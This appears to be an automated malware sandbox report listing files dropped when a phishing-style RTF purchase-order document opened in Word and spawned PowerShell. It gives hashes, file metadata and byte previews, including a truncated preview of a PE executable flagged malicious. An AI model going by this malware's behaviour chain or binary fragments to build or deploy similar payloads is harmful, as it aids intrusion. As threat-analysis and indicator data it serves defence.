SHA-512:	D10AB16ECF5035E9BA5C7373B9E9F5E26B01C9669318DC9EF558224F63237C9EF0FE32263C0C1F7A848EF4FC68AA3F91E8D0FADB2C3A93A14A5F1CD0D45DA67D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..L...........k... ........@.. ...............................k....`.................................xk..S.......................(....`....................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc.......`......................@..B.................k......H........@..\+...........................................................".(.....B.(.......(.....>..r,..p.o/....".(0....Vs....(1...t...........0..............r...p......%.r...p.%.r...p.%.r...p.(....r!..po.......r#..p(.....+........,............(.......r'..p(......,..........(.......r+..p(......,...........(.........+...*.0...........~......(....t.....+........r/..p.......%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%.r...p.%..r...p.%..r...p.%..r...p.%

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Customer-unionroadwaysltd-8754-PO.doc__.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Aug 26 14:08:15 2020, atime=Wed Jun 16 18:04:32 2021, length=1323327, window=hide
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	4.584696048613179
Encrypted:	false
SSDEEP:	48:8n/XT0jFxRUFVmmeFsWQh2n/XT0jFxRUFVmmeFsWQ/:8n/XojFbUFReFsWQh2n/XojFbUFReFsl
MD5:	9859E988E96BADD951F19434EF90B1D0
SHA1:	EB07AD59D253AC6022E066C0462FBE3F7F1C9E48
SHA-256:	0169D13C86E01F73E8D35DCA0BD6FF3936EF0BFB20B02E5849F25484686F7C32
SHA-512:	376ACC7AF9057B7FB266D4E06D889C9A617538F0590B69D92D3A5A99B3EB1FDF859077ED4B65F61A47C67E80350BA970479CC99CE174C9ADDDFB61D58D4B637E
Malicious:	false
Preview:	L..................F.... .......{......{..=\.p.b..?1...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.?1...R.. .CUSTOM~1.RTF..........Q.y.Q.y...8.....................C.u.s.t.o.m.e.r.-.u.n.i.o.n.r.o.a.d.w.a.y.s.l.t.d.-.8.7.5.4.-.P.O...d.o.c._._...r.t.f.......................-...8...[............?J......C:\Users\..#...................\\887849\Users.user\Desktop\Customer-unionroadwaysltd-8754-PO.doc__.rtf.B.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.C.u.s.t.o.m.e.r.-.u.n.i.o.n.r.o.a.d.w.a.y.s.l.t.d.-.8.7.5.4.-.P.O...d.o.c._._...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	157
Entropy (8bit):	4.93300910894447
Encrypted:	false
SSDEEP:	3:HtYsaaSh1qj66drFo+DRKsaaSh1qj66drFomxWtYsaaSh1qj66drFov:HtFQhr63TLQhr63eFQhr63y
MD5:	C2CC76BCA8B24E76AA39BB3AC6AD7F06
SHA1:	71A89FAF9DC694A1539D41CE3711A99D82953DDB
SHA-256:	EF9599F76C5DA491C4132A8F3AF445EDBF6A235107E8DB14719126188C457955
SHA-512:	CBBD6D67137BE17D44D8537A44CF16C6F859628E30AE8C38C119E871AF863E5CC0AB85212B5D01E8472C3D8F7400CC60173536430C60C5CD1137E724BAE201E2
Malicious:	false
Preview:	[misc]..Customer-unionroadwaysltd-8754-PO.doc__.LNK=0..Customer-unionroadwaysltd-8754-PO.doc__.LNK=0..[misc]..Customer-unionroadwaysltd-8754-PO.doc__.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVysAiJNGlzgYGwg32LbO/ln:vdsCkWthASq+l
MD5:	4CDEC46BF4C5E1435E277CB4821D6306
SHA1:	506F3E77835A2AE504189833D4EF30799A0ACE45
SHA-256:	39A3F2156450758ACBBCB3D8E9461BB4CDD93F41A3EC3A4013F4EB8D2A906537
SHA-512:	7039ED1E181A8368526A65F6F0D2F70E5BCEBD37BB3BFD8E270BB305F405DB0D843B1CAF6E4E05F6CF1D203A8AA326A1316CDDDD085DD59DB15A82A26E6FA575
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Little-endian UTF-16 Unicode text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0GRY02Z23PFQIE0RTMWR.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0QK4TR8N1W07LOKWR9XC.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1DH2GSWOM6DY7E4OBOTQ.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2LEBW47ZOWFLR8R4EIZW.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3H1367L1BDS7CTFGY5QN.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CI4KFVKZ4NIIGS67BYA.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4P5DG6JLEIAKTTN7AFAM.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7B3GSZ6GYLYURCXR4C11.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8XFR1BD6SCYFQV1RQB28.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AVDRYM8FRBAWHHXBOBP2.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EEKQG9XN76H4OCBFUCNX.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F2WE7AF7Y6WB50ZC0FKB.temp Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5887472798643487
Encrypted:	false
SSDEEP:	96:chQCsMq9qvsqvJCwoEz8hQCsMq9qvsEHyqvJCwor2zg1KrUHTZqO1lUVaIu:cyEoEz8yQHnor2zgUwZqOTIu
MD5:	BFAA30A5C37B55038690E734321B6D44
SHA1:	39976435A57FE27E4555B88A074D0E0FEE19DFEA
SHA-256:	C8895A9E844485AAB1D21732EA89D4894E4EC885AB2DD4EAA3FA0FF8B636A0A4
SHA-512:	029F1B6F40FB3355B213AC85B5B1C98B364D7CBBF18FF5078D2EBF1EFE92C10E7BA0072E033BBB17A97C925158E3D7F930CB832095499678BE9FECEAEC43BFDC
Malicious:	false
